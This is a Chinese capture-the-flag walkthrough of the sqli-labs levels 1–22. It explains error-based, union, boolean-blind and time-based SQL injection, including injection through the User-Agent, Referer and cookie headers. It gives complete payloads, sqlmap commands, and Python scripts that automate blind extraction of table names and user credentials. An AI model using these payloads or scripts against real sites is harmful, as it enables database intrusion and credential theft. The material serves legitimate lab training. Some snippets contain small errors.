环境:青少年CTF
Less-1
第一关 常规注入 注入点 1’ 考察点:sql注入基本用法
还有一种方法 采用sqlmap 也可跑出来
采用常规的sqlmap用法就可以
Less-2
这一关和第一关是一样进行判断,当我们输入单引号或者双引号可以看到报错,且报错信息看不到数字,所有我们可以猜测sql语句应该是数字型注入。那步骤和我们第一关是差不多的 注入点:1
Sqlmap
Less -3
这一关的话跟前两关没啥区别 就是注入点不同 也不涉及过滤字符
当我们在输入?id=2'的时候看到页面报错信息。可推断sql语句是单引号字符型且有括号,所以我们需要闭合单引号且也要考虑括号。注入点:1’)
Sqlmap查询:
Less-4
这一关根据页面报错信息得知sql语句是双引号字符型且有括号 注入点:1”)
Sqlmap:
Less-5
第五关根据页面结果得知是字符型但是和前面四关还是不一样是因为页面虽然有东西。但是只有对于请求对错出现不一样页面其余的就没有了。这个时候我们用联合注入就没有用,因为联合注入是需要页面有回显位。如果数据 不显示只有对错页面显示我们可以选择布尔盲注。布尔盲注主要用到length(),ascii() ,substr()这三个函数,首先通过length()函数确定长度再通过另外两个确定具体字符是什么。布尔盲注向对于联合注入来说需要花费大量时间。
(1)采用ASCII码获得flag
?id=1'and length((select database()))>9--+
//大于号可以换成小于号或者等于号,主要是判断数据库的长度。lenfth()是获取当前数据库名的长度。如果数据库是haha那么length()就是4
?id=1'and ascii(substr((select database()),1,1))=115--+
//substr("78909",1,1)=7 substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii吗,这样我们可以很好确定数字根据数字找到对应的字符。
?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+
判断所有表名字符长度。
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
逐一判断表名
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'))>20--+
判断所有字段名的长度
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'),1,1))>99--+
逐一判断字段名。
?id=1' and length((select group_concat(flag) fromflag))>109--+
判断字段内容长度
?id=1' and ascii(substr((select group_concat(flag) from flag),1,1))>50--+
逐一检测内容。
- 正常
1.判断数据库长度:
输入?id=1' and length(database())=7--+时,报错:
输入?id=1' and length(database())=8--+时,返回正常:
因此可以判断出数据库的长度为8.
2.判断数据库名:
需要从第一位开始猜:
输入?id=1' and left(database(),1)>'a'--+时,返回正常:
输入?id=1' and left(database(),1)<'z'--+时,返回正常:
当判断到s时,输入?id=1' and left(database(),1)='s'--+时,返回正常:
可以推测出数据库名的第一个字母为s;
然后用同样的方法猜第二位:
输入?id=1' and left(database(),2)>'sa'--+时,返回正常:
当输入?id=1' and left(database(),2)='se'--+时,返回正常:
可以判断出数据名的前两个字符是se,对于这种报错注入没有什么好的办法,只能慢慢的一次一次的尝试,或是使用二分法对其进行测试,最终测试出数据库名为:security
3.判断数据库中的表名:
输入?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit a,1)b,1))>n--+
a是从0开始第几个表,b是为第几个字符,n是ASCII所对应的十进制数,利用这种方法可以判断出数据库中的所有表名,然后可以找到最有用的user表。
4.猜用户:
输入?id=1' and ord(mid((select ifnull(cast(username as char),0x20)from S. M order by id limit A,1),B,1))=N--+
其中S 为数据库名;M为表名;A为第几个用户;B为第几个字符;N为ASCII码所对应的十进制数。
5.猜flag:
输入?id=1' and ord(mid((select ifnull(cast(username as char),0x20)from S.Morder by id limit A,1),B,1))=N --+
其中S 为数据库名;M为表名;A为第几个用户;B为第几个字符;N为ASCII码所对应的十进制数。
由此便可以猜解出所有的信息。
(3)也可以通过直接报错来获取想要的信息:
报错注入的概念:
1). 通过floor报错 and (select 1 from (select count(*),concat((payload),floor (rand(0)*2))x from information_schema.tables group by x)a) 其中payload为你要插入的SQL语句 需要注意的是该语句将 输出字符长度限制为64个字符;
2). 通过updatexml报错 and updatexml(1, payload,1)同样该语句对输出的字符长度也做了限制,其最长输出32位并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效;
3). 通过extractValue报错 and extractvalue(1, payload) 输出字符有长度限制,最长32位。
Payload:
?id=1' union select updatexml(1,concat(0x7e,(select database()),0x7e),1)--+ //获取库名
?id=1' union select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' limit 0,1),0x7e),1) --+ //爆表名
?id=1' union select updatexml(1,concat(0x7e,(select group_concat(flag) from flag),0x7e),1) --+ //爆flag
- Sqlmap:
Less-6
第六关和第五关是差不多的,根据页面报错信息可以猜测id参数是双引号,只需将第五关的单引号换成双引号就可以了。
Less-7
第七关当在输入id=1,页面显示you are in... 当我们输入id=1'时显示报错,但是没有报错信息,这和我们之前的关卡不一样,之前都有报错信息。当我们输入id=1"时显示正常所以我们可以断定参数id时单引号字符串。因为单引号破坏了他原有语法结构。然后我输入id=1'--+时报错,这时候我们可以输入id=1')--+发现依然报错,之时我试试是不是双括号输入id=1'))--+,发现页面显示正常。那么它的过关手法和前面就一样了选择布尔盲注就可以了。
Less-8
第八关和第五关一样就不多说了。只不过第八关没有报错信息,但是有you are in..进行参照。id参数是一个单引号字符串。
Less-9
第九关会发现我们不管输入什么页面显示的东西都是一样的,这个时候布尔盲注就不适合我们用,布尔盲注适合页面对于错误和正确结果有不同反应。如果页面一直不变这个时候我们可以使用时间注入,时间注入和布尔盲注两种没有多大差别只不过时间盲注多了if函数和sleep()函数。if(a,sleep(10),1)如果a结果是真的,那么执行sleep(10)页面延迟10秒,如果a的结果是假,执行1,页面不延迟。通过页面时间来判断出id参数是单引号字符串
- 采用基本的时间盲注
?id=1' and if(1=1,sleep(5),1)--+
判断参数构造。
?id=1'and if(length((select database()))>9,sleep(5),1)--+
判断数据库名长度
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
逐一判断数据库字符
?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
判断所有表名长度
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+
逐一判断表名
?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+
判断所有字段名的长度
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
逐一判断字段名。
?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
判断字段内容长度
?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+
逐一检测内容。
- 使用py脚本
import binascii
import requests
from fake_useragent import UserAgent
def get_tables(url, payload_header, payload_end):
# 获取长度
length = 100
for L in range(1, 1000):
payload = url + payload_header + \
"length((select group_concat(table_name) from information_schema.tables " \
f"where table_schema=database()))={L}" + payload_end
print(f'\r正在获取当前库所有表名拼接后长度:{L}', end='')
if judge_time(payload):
print(f'\n当前库所有表名拼接后长度:{L}', end='')
length = L
break
elif L == 999:
print(f'\r无法获取当前库所有表名拼接后长度为:{L}', end='')
print()
# 获取值
tables_name = ''
for i in range(1, length + 1):
print(f'\r正在获取第{i}个值:{tables_name}', end='')
for ascii_num in range(39, 123):
payload = url + payload_header + \
f"(select ascii(mid(group_concat(table_name),{i},1)) from information_schema.tables " \
f"where table_schema=database())={ascii_num}" + payload_end
if judge_time(payload):
tables_name += chr(ascii_num)
tables_list = tables_name.split(',')
print(f'\n获取所有表名结束:', end='')
return tables_list
def get_columns(table_name, url, payload_header, payload_end):
# 获取长度
length = 1000
for L in range(1, 10000):
payload = url + payload_header + \
f"length((select group_concat(column_name) from information_schema.columns " \
f"where table_schema=DATABASE() AND " \
f"""table_name=0x{str(binascii.b2a_hex(table_name.encode(r"utf-8"))).split("'")[1]}))={L}""" \
+ payload_end
print(f'\r正在获取{table_name}表所有字段名拼接后长度:{L}', end='')
if judge_time(payload):
print(f'\n{table_name}表所有字段名拼接后长度为:{L}', end='')
length = L
break
elif L == 999:
print(f'\r无法获取当{table_name}表所有字段名拼接后长度:{L}', end='')
print()
# 获取值
columns_name = ''
for i in range(1, length + 1):
print(f'\r正在获取第{i}个值:{columns_name}', end='')
for ascii_num in range(39, 123):
payload = url + payload_header + \
f"(select ascii(mid(group_concat(column_name),{i},1)) from information_schema.columns " \
f"where table_schema=DATABASE() AND table_name=" \
f"""0x{str(binascii.b2a_hex(table_name.encode(r"utf-8"))).split("'")[1]})={ascii_num}""" \
+ payload_end
if judge_time(payload):
columns_name += chr(ascii_num)
columns_list = columns_name.split(',')
print(f'\n获取{table_name}表的所有字段名结束:', end='')
return columns_list
def get_data(chose_table, column_list, url, payload_header, payload_end):
# 获取记录
columns_name = ''
for i in column_list:
columns_name += f",{i}"
# 获取长度
length = 10000
for L in range(1, 10000):
payload = url + payload_header + \
f"length((select group_concat(concat_ws(':'{columns_name})) from {chose_table}))={L}""" \
+ payload_end
print(f'\r正在获取{chose_table}表所有记录拼接后长度:{L}', end='')
if judge_time(payload):
print(f'\n{chose_table}表所有记录拼接后长度为:{L}', end='')
length = L
break
elif L == 9999:
print(f'\r无法获取当{chose_table}表所有记录拼接后长度:{L}', end='')
print()
data = []
data_str = ''
# 获取值
for i in range(1, length + 1):
print(f'\r正在获取第{i}个值:{data_str}', end='')
for ascii_num in range(39, 123):
payload = url + payload_header + \
f"(select ascii(mid(group_concat(concat_ws(':'{columns_name})),{i},1)) from {chose_table})" \
f"={ascii_num} " + payload_end
if judge_time(payload):
data_str += chr(ascii_num)
data_list = data_str.split(',')
for i in data_list:
data.append(i.split(':'))
print(f'\n获取{chose_table}表的所有记录结束:')
return data
def judge_time(payload):
# 判断响应时间
time = html_get_time(payload)
if 3 <= time < 6:
return True
else:
return False
def html_get_time(url):
# 返回响应时间
req = requests.session()
ua = UserAgent()
headers = {'User-Agent': ua.random}
timeout = 6
response = req.get(url, headers=headers, timeout=timeout)
return response.elapsed.seconds
def main():
url = 'http://ac8d22fc-235e-4b9e-a319-fcd789afee79.challenge.qsnctf.com:8081/Less-9/?id=1'
payload_header = "' and if("
payload_end = ",sleep(3),1)--+"
print('========Time-based-blind-SQL-injection==============')
print('=====================By:AA8j========================')
print('目标:' + url)
# ------------------------获取表-------------------------------
tables_list = get_tables(url, payload_header, payload_end)
# tables_list = ['emails', 'referers', 'uagents', 'users']
for i in range(0, len(tables_list)):
print(f'{i + 1}.{tables_list[i]}', end=' ')
chose_table = tables_list[int(input('\n请选择要获取字段的表名:')) - 1]
# ------------------------获取字段-----------------------------
columns_list = get_columns(chose_table, url, payload_header, payload_end)
# columns_list = ['id', 'username', 'password']
for i in range(0, len(columns_list)):
print(f'{i + 1}.{columns_list[i]}', end=' ')
print()
# ------------------------获取记录-----------------------------
data = get_data(chose_table, columns_list, url, payload_header, payload_end)
# data = [['1', 'Dumb', 'Dumb'], ['2', 'Angelina', 'I-kill-you'], ['3', 'Dummy', 'p@ssword']]
for i in columns_list:
print(i.ljust(20), end='')
print('\n' + '-' * len(columns_list) * 20)
for i in data:
for j in i:
print(j.ljust(20), end='')
print('\n' + '-' * len(columns_list) * 20)
if __name__ == '__main__':
main()
Less-10
- 第十关和第九关一样只需要将单引号换成双引号。
- 使用python 脚本获得flag
1、爆数据库长度
# coding:utf-8
import requests
import datetime
import time
# 获取数据库名长度
def database_len():
for i in range(1, 10):
url = "http://127.0.0.1:8082/sqli-labs-master/sqli-labs-master/Less-10/index.php" #改url
payload = "?id=1\" and if(length(database())>%s,sleep(1),0) --+" % i #改闭合
# print(url+payload+'%23')
time1 = datetime.datetime.now()
r = requests.get(url + payload)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec >= 1:
print(i)
else:
print(i)
break
print('database_len:', i)
if __name__ == '__main__':
database_len()
2、爆数据库名
# coding:utf-8
import requests
import datetime
import time
#获取数据库名
def database_name():
name = ''
for j in range(1,9):
for i in '0123456789abcdefghijklmnopqrstuvwxyz':
url = "http://127.0.0.1:8082/sqli-labs-master/sqli-labs-master/Less-10/index.php" #改url
payload = "?id=1\" and if(substr(database(),%d,1)='%s',sleep(3),1) --+" % (j,i) #改闭合
#print(url+payload)
time1 = datetime.datetime.now()
r = requests.get(url + payload)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec >=3:
name += i
print(name)
break
print('database_name:', name)
if __name__ == '__main__':
database_name()
3、爆表名的ascii码
# coding:utf-8
import requests
import datetime
import time
#爆表的ascii码
def table_name():
name = ''
for k in range(0,4):
for j in range(1,10):
for i in range(33,127):
url = "http://127.0.0.1:8082/sqli-labs-master/sqli-labs-master/Less-10/index.php" #改url
payload = "?id=1\" and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1))='%s',sleep(3),1) --+" % (k,j,i)
#print(url+payload) #改闭合
time1 = datetime.datetime.now()
r = requests.get(url + payload)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec >=3:
print(i)
else:
i=i+1
continue
print('table_name:', name)
if __name__ == '__main__':
table_name()
将表的ascii转化为字符
def shuchu():
a=[101,109,97,105,108,115,114,1
01,102]
i=0
while(i<len(a)):
print(chr(a[i]))
i=i+1
shuchu()
4、爆列的ascii码
# coding:utf-8
import requests
import datetime
import time
#爆列的ascii码
def column_name():
name = ''
for k in range(0,2):
for j in range(1,25):
for i in range(33,127):
url = "http://127.0.0.1:8082/sqli-labs-master/sqli-labs-master/Less-10/index.php" #改url
payload = "?id=1\" and if(ascii(substr((select column_name from information_schema.columns where table_name=\"users\" and table_schema=database() limit %d,1),%d,1))='%s',sleep(3),1) --+" % (k,j,i)
#print(url+payload) #改闭合
time1 = datetime.datetime.now()
r = requests.get(url + payload)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec >=3:
print(i)
else:
i=i+1
continue
print('column_name:', name)
if __name__ == '__main__':
column_name()
5、爆字段ascii码
# coding:utf-8
import requests
import datetime
import time
#爆字段的ascii码
def ziduan():
name = ''
for k in range(0,2):
for j in range(1,50):
for i in range(33,127):
url = "http://127.0.0.1:8082/sqli-labs-master/sqli-labs-master/Less-10/index.php" #改url
payload = "?id=1\" and if(ascii(substr((select group_concat(id,username,password) from users limit %d,1),%d,1))='%s',sleep(3),1) --+" % (k,j,i)
#print(url+payload) #改闭合
time1 = datetime.datetime.now()
r = requests.get(url + payload)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec >=3:
print(i)
else:
i=i+1
continue
print('ziduan:', name)
if __name__ == '__main__':
ziduan()
将字段ascii码转化为字符
Less-11
这一关可以发现页面就发生变化了,是账户登录页面。那么注入点就在输入框里面,这样我们可以使用bp进行抓包 然后进行注入操作更方便一些,只是不知道是字符型还是整数型。
当我们输入1时出现错误图片 输入1’开始报错 说明为整数型 然后过程跟一关一样 注意:这里的注释符为# 而不是--+
小技巧
get请求的时候,注释符用--+;而post请求时用#
然后就可以得到flag
![](https://i-blog.csdnimg.cn/blog_migrate/ddc5b6b3b45977de488703df1dc90685.png)
Less-12
这一关其实就是注入点不一样 其余步骤和11关相同 注入点: 1”)
Less-13
看源码,闭合为单引号加括号
虽然知道了闭合点,但是这题没有回显位,尝试用updatexml报错注入
- 得到库名
payload:1') and updatexml(1,concat(0x7e,(database()),0x7e),1) #
- 得到表名
Payload:1') and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) #
- 爆字段得到flag
1') and updatexml(1,concat(0x7e,(select group_concat(flag)from flag),0x7e),1) #
Less-14
这一关的闭合点为 1”
找到闭合点后依然没有回显 那可以使用updatexml报错注入了 方法跟13关一样
还有这题用extractvalue报错也可
- 爆库名 : 1" and extractvalue(1,concat(0x23,database())) #
- 爆表名 :1" and extractvalue(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema='security'))) #
- 爆字段获取flag :1" and extractvalue(1,concat(0x23,(select group_concat(flag) from flag))) #
Less-15
没有回显点了,但是输入正确的用户名和密码跟错误的,返回页面不一样,可以盲注:注入点为 1’
(1)sqlmap盲注:这里我用的时间盲注,bp抓到的数据包保存到kali桌面
爆数据库名
sqlmap -r /root/桌面/15.txt --time-sec 3 --current-db
爆表
sqlmap -r /root/桌面/15.txt -D security --tables
- 布尔盲注也行
反正过程很复杂 还很耗费时间
Less-16
跟上关一样,闭合变成双引号了,继续盲注,还是时间盲注就好了
Less-17
第十七关和前面的关有很大不一样,根据页面展示是一个密码重置页面,也就是说我们已经登录系统了,然后查看我们源码,是根据我们提供的账户名去数据库查看用户名和密码,如果账户名正确那么将密码改成你输入的密码。再执行这条sql语句之前会对输入的账户名进行检查,对输入的特殊字符转义。所以我们能够利用的只有更新密码的sql语句。sql语句之前都是查询,这里有一个update更新数据库里面信息。所以之前的联合注入和布尔盲注以及时间盲注都不能用了。这里我们会用到报错注入
这关对用户名进行修改,要先知道正确的用户名,用户名输错网页会报错,注入点在passwd
extractvalue报错注入
1' and (extractvalue(1,concat(0x5c,version(),0x5c)))# 爆版本
1' and (extractvalue(1,concat(0x5c,database(),0x5c)))# 爆数据库
1' and (extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c)))# 爆表名
1' and (extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'),0x5c)))#
爆字段名
1' and (extractvalue(1,concat(0x5c,(select group_concat(flag) from flag),0x5c)))# 爆字段内容。
updatexml报错注入也可得到flag 具体用法可以自己搜
Less-18
这关我们直接看到看到页面有一个ip,我们 可以简单看一下源码,发现对于输入的账户名和密码都有进行检查,但是往下看会发现一个插入的sql语句,当我们输入争取的账户名和密码我们的User-Agent字段内容就会出现在页面上。所以可以从这上面下功夫
注意:必须输入正确的username和password才能执行第二个sql语句。
在User-Agent参数后加入单引号',可以发现有报错信息 那么我们就可以采用报错注入了 方法上一关相似
这时我们就不能像常规的报错盲注一样直接上,我们得考虑一下闭合VALUES,假如我们利用的点是$uagent,那构建格式就应该是1',1,1)#,在SQL语句中相当于
INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('1',1,1)#, '$IP', $uname)
这样就闭合了VALUES,所以我们在uagent上正确的payload应该是
1',1,updatexml(1,concat(0x5e,database()),1))#
1',1,updatexml(1,concat(0x5e,(select group_concat(table_name) from information_schema.tables where table_schema = database())),1))#
1',1,updatexml(1,concat(0x5e,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'users')),1))#
1',1,updatexml(1,concat(0x5e,(select group_concat(password) from users)),1))#
由于报错语句只能回显32位的缘故,这里只回显了一小部分密码,可以利用mid函数,截断SQL语句,来回显剩下的密码
1',1,updatexml(1,concat(0x5e,mid((select group_concat(password) from users),32,32)),1))#
1',1,updatexml(1,concat(0x5e,mid((select group_concat(password) from users),64,32)),1))#
接着将上面回显的内容拼起来就得到全部密码了
但我们这里只需要获取flag: 构造payload:1',1,updatexml(1,concat(0x5e,(select group_concat(flag) from flag)),1))#
Less-19
输入admin /admin登入
这一关显示的是Referer字段 那么这一关只要修改Referer即可 也是使用报错注入
那么构造过程和18关一样 这里就不多构造
最终可以获得flag
Less-20
这个反馈我第一次见,不仅有USER AGENT、IP还有cookie,DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE(删除您的COOKIE或等待其过期),似乎这关跟cookie有关联
、
我们尝试输入 ’ 发现报错
经过判断 闭合应该就是’
然后用常规的报错注入就可以 这里也不过多讲解 上边17关有步骤 最终就可以获得flag
Payload:1' and (updatexml (1,concat(0x5c,(select group_concat(flag) from flag),0x5c),1))#
Less-21
闭合点确定是’),那我可以快乐的开始报错注入了(采用base64编码可以得到注入点)
然后这一关也跟20关一样 在cooike那里进行注入 但是要注意把payload进行base64编码
那么这个报错注入过程跟上一关一样 不多说
这样就可以得到flag
Less-22
第二十二关和第二十一关一样只不过cookie是双引号base64编码,没有括号。